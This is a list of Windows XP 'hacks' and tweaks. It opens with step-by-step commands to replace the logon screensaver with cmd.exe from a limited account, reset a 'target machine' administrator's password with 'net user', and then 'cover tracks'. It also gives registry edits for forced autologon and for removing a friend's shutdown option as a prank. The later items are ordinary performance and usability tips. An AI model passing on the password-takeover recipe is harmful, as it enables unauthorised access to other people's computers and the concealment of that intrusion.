1)How to hack windows XP admin password
If you log into a limited account on your target machine and
open up a dos prompt
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup
the command program and the screen saver file, then edits
the settings so when the machine boots the screen saver you
will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user <admin account name here> password"
If the Administrator Account is called Frank and you want the
password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and
your in.
Have fun
p.s: dont forget to copy the contents of temphack back into
the system32 dir to cover tracks
2)Registry Hacking
Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your
computer when they login in your absence. Well you can do it
pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"
3)Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows
XP is not at all secure as multi-user operating system. Hacking
the system registry from any account having access to system
registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Winlogon]
"AutoAdminLogon"="1"
4)No Shutdown:
Wanna play with your friends by removing the shutdown option
from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer
"NoClose"="DWORD:1"
5)Menu Delays:
Another minor and easy tweak to remove any delay from menus
sliding out. For this you will need to use regedit (open regedit
by going to Start -> Run..., then typing 'regedit' and pressing
enter). The key you need to change is located in
HKEY_CURRENT_USERControl PanelDesktop. The actual key is
called MenuShowDelay - all you have to do is change the
value to 0. Remember, you will have to re-boot your computer
for this tweak to take effect.
6)GPEDIT.MSC And Autoplay
A great tweaking file that comes with XP is gpedit.msc. Go to
Start -> Run... and then type in 'gpedit.msc' and press enter.
This is effectively the Policies Editor, and it comes in handy
often. For example, if you hate CD autoplay like I do and want
to permanently disable it, you can use this tool to do so. Just
run gpedit.msc, then go to Computer Configuration ->
Administrative Templates -> System. In here you can see the
value 'Turn Off Autoplay'. Right-click on it and then click 'Proper
ties'.
7)Increasing options in add/remove programs:
Not a fan of MSN Messenger? don't want Windows Media Player
on your system? Fair enough, but if you go to Add/Remove
Programs in the Control Panel, by default none of Windows XP's
'built in' programs are visible. it's fairly easy to change, though
... just open the file X:\Windows\inf\sysoc.inf (where X: is the
drive letter where Windows XP is installed) in Notepad. You
should see a section of the file something like this:
[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7
This is a list of all components installed at the moment. I've
taken the example of MSN Messenger - the program entry
called 'msmsgs', third-last line. You can see the word 'hide'
highlighted - this is the string which tells Windows not to
display the component in the Add/Remove Programs list. Fix
this up by simply deleting the word 'hide' like so:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
To this:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7
Now, after restarting, you should be able to see MSN
Messenger in the Add/Remove Programs list. If you want to be
able to quickly view and remove all components, simply open
the sysoc.inf file and do a global find and replace for the word ",
hide" and replace it with a single comma ",".
8)Automatically Kill Programs At Shutdown:
don't you hate it when, while trying to shut down, you get
message boxes telling you that a program is still running?
Making it so that Windows automatically kills applications
running is a snap. Simply navigate to the HKEY_CURRENT_USER
Control PanelDesktop directory in the Registry, then alter the
key AutoEndTasks to the value 1.
9)Speeding Up Share Viewing:
This is a great tweak. Before I found it, I was always smashing
my head against the table waiting to view shares on other
computers. Basically, when you connect to another computer
with Windows XP, it checks for any Scheduled tasks on that
computer - a fairly useless task, but one that can add up to 30
seconds of waiting on the other end - not good! Fortunately,
it's fairly easy to disable this process. First, navigate to
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current
Version/Explorer/RemoteComputer/NameSpace in the Registry.
Below that, there should be a key called
{D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this,
and after a restart, Windows will no longer check for scheduled
tasks - mucho performance improvement!
10)Create a Shortcut to Lock Your Computer
Leaving your computer in a hurry but you don?t want to log off?
You can double-click a shortcut on your desktop to quickly lock
the keyboard and display without using CTRL+ALT+DEL or a
screen saver. To create a shortcut on your desktop to lock
your computer: Right-click the desktop. Point to New, and then
click Shortcut. The Create Shortcut Wizard opens. In the text
box, type the following: rundll32.exe user32.dll,LockWork
Station Click Next. Enter a name for the shortcut. You can call
it "Lock Workstation" or choose any name you like. Click Finish.
You can also change the shortcut's icon (my personal favorite
is the padlock icon in shell32.dll). To change the icon: Right
click the shortcut and then select Properties. Click the Shortcut
tab, and then click the Change Icon button. In the Look for
icons in this file text box, type: Shell32.dll. Click OK. Select
one of the icons from the list and then click OK You could also
give it a shortcut keystroke such CTRL+ALT+L. This would save
you only one keystroke from the normal command, but it could
be more convenient.
11)Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow
down dramatically sometimes--I've noticed this happens when
you install Tweak UI 1.33, for example, and when you use the
preview tip to speed up the Start menu. But here's a fix for the
problem that does work, though it's unclear why: Just open a
command line window (Start button -> Run -> cmd) and type
sfc, then hit ENTER. This command line runs the System File
Checker, which performs a number of services, all of which are
completely unrelated to IE 6. But there you go: It works.
12)Aspi
WinXP does not come with an Aspi layer. So far almost 90% of
the problems with WinXP and CD burning software are Aspi
layer problems. After installing WinXP, before installing any CD
burning software do a few things first: 1. Open up "My
computer" and right click on the CD Recorder. If your CD
recorder was detected as a CD recorder there will be a tab
called "Recording". On this tab uncheck ALL of the boxes.
apply or OK out of it and close my computer. 2. Next install
the standard Aspi layer for NT. Reboot when asked. That's is.
after the reboot you can install any of the currently working
CD recording applications with no problems. If using CD
Creator do not install direct CD or Take two as they are
currently incompatible but Roxio has promised a fix as soon
as XP is released.
